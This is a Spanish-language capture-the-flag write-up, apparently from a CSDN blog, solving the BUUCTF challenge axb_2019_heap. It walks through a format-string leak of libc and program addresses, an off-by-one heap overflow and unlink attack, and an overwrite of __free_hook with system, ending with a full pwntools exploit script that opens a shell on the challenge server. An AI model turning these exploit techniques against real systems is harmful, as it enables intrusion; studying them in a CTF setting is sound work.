buuctf axb_2019_heap

Después de arrastrar a IDA, se descubre que la función de entrada tiene una vulnerabilidad de uno por uno, que puede desbordarse.
Inserte la descripción de la imagen aquí
Al mismo tiempo, hay una matriz de punteros global. Este desbordamiento se puede utilizar para construir fragmentos falsos y luego desvincularlos.
Además, el tamaño de este programa malloc es No puede ser más pequeño que 0x80, eh. . . De hecho, esto no es importante, el problema no es grande, solo preste atención.
Sin embargo, la protección del programa está activada. En
Inserte la descripción de la imagen aquí
otras palabras, la dirección del programa es aleatoria y no sabemos
cómo se filtra la dirección de almacenamiento del puntero del fragmento . En este momento, también se encontró que había una vulnerabilidad en la cadena de formato al comienzo del programa.
Inserte la descripción de la imagen aquí
Abra la depuración, ingrese 8 a, deténgase aquí en printf (& format), y luego mire la pila y
Inserte la descripción de la imagen aquí
descubra que hay la dirección de __libc_start_main + 240 en la pila, y la función principal del programa Dirección
Por lo tanto, podemos filtrar estas dos direcciones a través de la cadena de formato, y luego calcular libc_base y la dirección base del programa
Después de la depuración, estas dos direcciones son los parámetros 15 y 19, respectivamente.

libc=ELF('./libc-2.23.so')
sh.recvuntil("Enter your name: ")
sh.sendline("%15$p%19$p")
sh.recvuntil("0x")
addr1=int(sh.recvuntil("0x")[:-2],16)
libc_base=addr1-240-libc.symbols["__libc_start_main"]
addr2=int(sh.recvuntil("\n")[:-1],16)
base=addr2-0x116a
info("libc_base:0x%x",libc_base)
info("base:0x%x",base)

0x116a es de aquí
Inserte la descripción de la imagen aquí

Inserte la descripción de la imagen aquí
Está bien, es un éxito, esta pregunta está a medio hacer

ptr=base+0x202060
#free_got=base+0x201F58
system_addr=libc_base+libc.symbols["system"]
free_hook=libc_base+libc.symbols["__free_hook"]

Calcule las direcciones de varias cosas que se utilizarán

add(0,0x98,'aaaaaaaa')
add(1,0x90,'bbbbbbbb')
payload=p64(0)+p64(0x91)+p64(ptr-0x18)+p64(ptr-0x10)
payload+="a"*0x70+p64(0x90)+"\xa0"
edit(0,payload)

Organizar los datos que pueden desencadenar la desvinculación

delete(1)

desvincular, cada vez que llegamos a este paso, estamos inexplicablemente emocionados.
Ahora que hemos controlado los datos en el puntero del fragmento, hagamos lo que queramos

payload=p64(0)*3+p64(free_hook)+p64(0x38)
payload+=p64(ptr+0x18)+"/bin/sh\x00"
edit(0,payload)

Escriba free_hook en el puntero chunk0 en un intento de secuestrar free_hook, y escriba "/ bin / sh"
3 p64 (0) padding al mismo tiempo , 0x38 aquí es el tamaño de datos de chunk0, estos datos son arbitrarios, suficiente para que podamos escribir la carga útil

payload=p64(system_addr)
edit(0,payload)
delete(1)
sh.interactive()

Escriba system_addr en free_hook y
ejecútelo gratis (chunk1)

Por último, escribe sobre los dos errores que cometí. El primero es calcular 0x90 + 0x10 como 0x100. . . . .
La segunda es que intenté modificar free_got al principio, y luego recordé que el programa abrió Full Relro (debería ser por este motivo), lo que provocó que se reescribiera.
Luego, la exp completa:

from pwn import *
sh=remote("node3.buuoj.cn",26035)
context.log_level='debug'
elf=ELF('axb_2019_heap')
libc=ELF('./libc-2.23.so')
def add(idx,size,content):
	sh.sendlineafter(">> ","1")
	sh.recvuntil("(0-10):")
	sh.sendline(str(idx))
	sh.recvuntil("Enter a size:\n")
	sh.sendline(str(size))
	sh.recvuntil("Enter the content: \n")
	sh.sendline(content)
def edit(idx,content):
	sh.sendlineafter(">> ","4")
	sh.recvuntil("Enter an index:\n")
	sh.sendline(str(idx))
	sh.recvuntil("Enter the content: \n")
	sh.sendline(content)
def delete(idx):
	sh.sendlineafter(">> ","2")
	sh.recvuntil("Enter an index:\n")
	sh.sendline(str(idx))

sh.recvuntil("Enter your name: ")
sh.sendline("%15$p%19$p")
sh.recvuntil("0x")
addr1=int(sh.recvuntil("0x")[:-2],16)
libc_base=addr1-240-libc.symbols["__libc_start_main"]
addr2=int(sh.recvuntil("\n")[:-1],16)
base=addr2-0x116a
info("libc_base:0x%x",libc_base)
info("base:0x%x",base)

ptr=base+0x202060
#free_got=base+0x201F58
system_addr=libc_base+libc.symbols["system"]
free_hook=libc_base+libc.symbols["__free_hook"]

add(0,0x98,'aaaaaaaa')
add(1,0x90,'bbbbbbbb')
payload=p64(0)+p64(0x91)+p64(ptr-0x18)+p64(ptr-0x10)
payload+="a"*0x70+p64(0x90)+"\xa0"
edit(0,payload)

delete(1)

payload=p64(0)*3+p64(free_hook)+p64(0x38)
payload+=p64(ptr+0x18)+"/bin/sh\x00"
edit(0,payload)
payload=p64(system_addr)
edit(0,payload)
delete(1)
sh.interactive()

Supongo que te gusta

Origin blog.csdn.net/weixin_45677731/article/details/108763362
Recomendado
Clasificación